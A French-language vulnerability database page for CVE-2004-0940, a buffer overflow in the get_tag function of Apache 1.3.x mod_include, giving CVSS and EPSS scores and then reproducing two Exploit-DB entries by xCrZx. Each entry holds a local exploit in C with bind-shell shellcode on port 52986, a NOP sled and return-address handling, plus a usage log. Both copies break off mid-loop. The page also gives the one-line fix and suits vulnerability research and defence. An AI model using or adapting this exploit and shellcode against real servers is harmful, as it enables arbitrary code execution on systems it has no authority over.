CVE-2004-0940

Score / Sévérité

7.8

HIGH

EPSS

0.12%V3

Vecteur

Local

Publié

2004-10-26 02:00 +00:00

Dernière modif.

2021-06-06 08:08 +00:00

Liens officiels

CVE.org

NVD

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Gestion des alertes

Liste des Alertes

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Critères appliqués l'envoi de l'alerte : par rapport à la dernière alerte envoyée + différences au niveau de CISA, EPSS, CVSS, CWE, Solutions, CPE.

Paramètres

Vous pouvez sécifier un titre qui sera récupéré dans les alertes qui seront envoyées.

Spécifiez ici un CVE ID comme CVE-2024-1234

Planificiations

Mois

Prochaine exécution calculée

Jour

Jour de la semaine

Heure

Minute

Date de création

Dernière exécution

Prochaine exécution

Fonctionnalité nécessitant une connexion

Cette fonctionnalité qui vous permet de recevoir des alertes, n'est active que lorsque vous êtes connecté à votre compte.

Descriptions

Buffer overflow in the get_tag function in mod_include for Apache 1.3.x to 1.3.32 allows local users who can create SSI documents to execute arbitrary code as the apache user via SSI (XSSI) documents that trigger a length calculation error.

Informations

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-131	Incorrect Calculation of Buffer Size The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.

Metrics

Metric	Score	Sévérité	CVSS Vecteur	Source
V3.1	7.8	HIGH	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	nvd@nist.gov
V2	6.9		AV:L/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 587

Date de publication : 2004-10-20 22:00 +00:00
Auteur : xCrZx
EDB Vérifié : Yes

/********************************************************************************* local exploit for mod_include of apache 1.3.x * written by xCrZx /18.10.2004/ * bug found by xCrZx /18.10.2004/ * * Successfully tested on apache 1.3.31 under Linux RH9.0(Shrike) * * *********************************************************************************/ /********************************************************************************* Technical Details: there is an overflow in get_tag function: static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int dodecode) { ... term = c; while (1) { GET_CHAR(in, c, NULL, p); [1] if (t - tag == tagbuf_len) { *t = '\0'; return NULL; } * // Want to accept \" as a valid character within a string. // if (c == '\\') { [2] *(t++) = c; // Add backslash // GET_CHAR(in, c, NULL, p); if (c == term) { // Only if // [3] *(--t) = c; // Replace backslash ONLY for terminator // } } else if (c == term) { break; } [4] *(t++) = c; } *t = '\0'; ... as we can see there is a [1] check to determine the end of tag buffer but this check can be skiped when [2] & [4] conditions will be occured at the same time without [3] condition. So attacker can create malicious file to overflow static buffer, on which tag points out and execute arbitrary code with privilegies of httpd child process. Fix: [1*] if (t - tag >= tagbuf_len-1) { Notes: To activate mod_include you need write "XBitHack on" in httpd.conf *********************************************************************************/ /********************************************************************************* Example of work: [root@blacksand htdocs]# make 85mod_include cc 85mod_include.c -o 85mod_include [root@blacksand htdocs]# ./85mod_include 0xbfff8196 > evil.html [root@blacksand htdocs]# chmod +x evil.html [root@blacksand htdocs]# netstat -na|grep 52986 [root@blacksand htdocs]# telnet localhost 8080 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. GET /evil.html HTTP/1.0 ^] telnet> q Connection closed. [root@blacksand htdocs]# netstat -na|grep 52986 tcp 0 0 0.0.0.0:52986 0.0.0.0:* LISTEN [root@blacksand htdocs]# *********************************************************************************/ /********************************************************************************* Notes: ha1fsatan - ti 4elovek-kakashka :))) be co0l as always *********************************************************************************/ /********************************************************************************* Personal hello to my parents :) *********************************************************************************/ /********************************************************************************* Public shoutz to: m00 security, ech0 :), LByte, 0xbadc0ded and otherz *********************************************************************************/ #include #include #include #define EVILBUF 8202 #define HTMLTEXT 1000 #define HTML_FORMAT "\n\nxCrZx 0wn U\n" #define AUTHOR "\n*** local exploit for mod_include of apache 1.3.x by xCrZx /18.10.2004/ ***\n" int main(int argc, char **argv) { char html[EVILBUF+HTMLTEXT]; char evilbuf[EVILBUF+1]; //can be changed char shellcode[] = // bind shell on 52986 port "\x31\xc0" "\x31\xdb\x53\x43\x53\x89\xd8\x40\x50\x89\xe1\xb0\x66\xcd\x80\x43" "\x66\xc7\x44\x24\x02\xce\xfa\xd1\x6c\x24\x04\x6a\x10\x51\x50\x89" "\xe1\xb0\x66\xcd\x80\x43\x43\xb0\x66\xcd\x80\x43\x89\x61\x08\xb0" "\x66\xcd\x80\x93\x31\xc9\xb1\x03\x49\xb0\x3f\xcd\x80\x75\xf9\x68" "\x2f\x73\x68\x20\x68\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3\x51" "\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; //execve /tmp/sh <- your own program /* "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/tmp/sh"; */ char NOP[] = "\x90\x40"; // special nops ;) char evilpad[] = "\\CRZCRZCRZCRZC"; // trick ;) int padding,xpad=0; int i,fd; long ret=0xbfff8688; if(argc>1) ret=strtoul(argv[1],0,16); else { fprintf(stderr,AUTHOR"\nUsage: %s > file.html\n\n",argv[0]);exit(0); } padding=(EVILBUF-1-strlen(shellcode)-4-strlen(evilpad)+2); while(1) { if(padding%2==0) { padding/=2; break;} else {padding--;xpad++;} } memset(html,0x0,sizeof html); memset(evilbuf,0x0,sizeof evilbuf); for(i=0;i

Exploit Database EDB-ID : 24694

Date de publication : 2004-10-17 22:00 +00:00
Auteur : xCrZx
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/11471/info The problem presents itself when the affected module attempts to parse mod_include-specific tag values. A failure to properly validate the lengths of user-supplied tag strings before copying them into finite buffers facilitates the overflow. A local attacker may leverage this issue to execute arbitrary code on the affected computer with the privileges of the affected Apache server. /********************************************************************************* local exploit for mod_include of apache 1.3.x * written by xCrZx /18.10.2004/ * bug found by xCrZx /18.10.2004/ * * y0das old shao lin techniq ownz u :) remember my words * http://lbyte.ru/16-masta_killa-16-mastakilla-mad.mp3 * * Successfully tested on apache 1.3.31 under Linux RH9.0(Shrike) * *********************************************************************************/ /********************************************************************************* Technical Details: * * there is an overflow in get_tag function: * * static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int dodecode) * { * ... * term = c; * while (1) { * GET_CHAR(in, c, NULL, p); * [1] if (t - tag == tagbuf_len) { * *t = '\0'; * return NULL; * } * // Want to accept \" as a valid character within a string. // * if (c == '\\') { * [2] *(t++) = c; // Add backslash // * GET_CHAR(in, c, NULL, p); * if (c == term) { // Only if // * [3] *(--t) = c; // Replace backslash ONLY for terminator // * } * } * else if (c == term) { * break; * } * [4] *(t++) = c; * } * *t = '\0'; * ... * * as we can see there is a [1] check to determine the end of tag buffer * but this check can be skiped when [2] & [4] conditions will be occured * at the same time without [3] condition. * * So attacker can create malicious file to overflow static buffer, on * which tag points out and execute arbitrary code with privilegies of * httpd child process. * * Fix: * [1*] if (t - tag >= tagbuf_len-1) { * * Notes: To activate mod_include you need write "XBitHack on" in httpd.conf * * *********************************************************************************/ /********************************************************************************* Example of work: * * [root@blacksand htdocs]# make 85mod_include * cc 85mod_include.c -o 85mod_include * [root@blacksand htdocs]# ./85mod_include 0xbfff8196 > evil.html * [root@blacksand htdocs]# chmod +x evil.html * [root@blacksand htdocs]# netstat -na|grep 52986 * [root@blacksand htdocs]# telnet localhost 8080 * Trying 127.0.0.1... * Connected to localhost. * Escape character is '^]'. * GET /evil.html HTTP/1.0 * ^] * telnet> q * Connection closed. * [root@blacksand htdocs]# netstat -na|grep 52986 * tcp 0 0 0.0.0.0:52986 0.0.0.0:* LISTEN * [root@blacksand htdocs]# * *********************************************************************************/ /********************************************************************************* Notes: ha1fsatan - ti 4elovek-kakashka :))) be co0l as always * *********************************************************************************/ /********************************************************************************* Personal hello to my parents :) * *********************************************************************************/ /********************************************************************************* Public shoutz to: m00 security, ech0 :), LByte, 0xbadc0ded and otherz * *********************************************************************************/ #include #include #include #define EVILBUF 8202 #define HTMLTEXT 1000 #define HTML_FORMAT "\n\nxCrZx 0wn U\n" #define AUTHOR "\n*** local exploit for mod_include of apache 1.3.x by xCrZx /18.10.2004/ ***\n" int main(int argc, char **argv) { char html[EVILBUF+HTMLTEXT]; char evilbuf[EVILBUF+1]; //can be changed char shellcode[] = // bind shell on 52986 port "\x31\xc0" "\x31\xdb\x53\x43\x53\x89\xd8\x40\x50\x89\xe1\xb0\x66\xcd\x80\x43" "\x66\xc7\x44\x24\x02\xce\xfa\xd1\x6c\x24\x04\x6a\x10\x51\x50\x89" "\xe1\xb0\x66\xcd\x80\x43\x43\xb0\x66\xcd\x80\x43\x89\x61\x08\xb0" "\x66\xcd\x80\x93\x31\xc9\xb1\x03\x49\xb0\x3f\xcd\x80\x75\xf9\x68" "\x2f\x73\x68\x20\x68\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3\x51" "\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; //execve /tmp/sh <- your own program /* "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/tmp/sh"; */ char NOP[] = "\x90\x40"; // special nops ;) char evilpad[] = "\\CRZCRZCRZCRZC"; // trick ;) int padding,xpad=0; int i,fd; long ret=0xbfff8688; if(argc>1) ret=strtoul(argv[1],0,16); else { fprintf(stderr,AUTHOR"\nUsage: %s > file.html\n\n",argv[0]);exi t(0); } padding=(EVILBUF-1-strlen(shellcode)-4-strlen(evilpad)+2); while(1) { if(padding%2==0) { padding/=2; break;} else {padding--;xpad++;} } memset(html,0x0,sizeof html); memset(evilbuf,0x0,sizeof evilbuf); for(i=0;i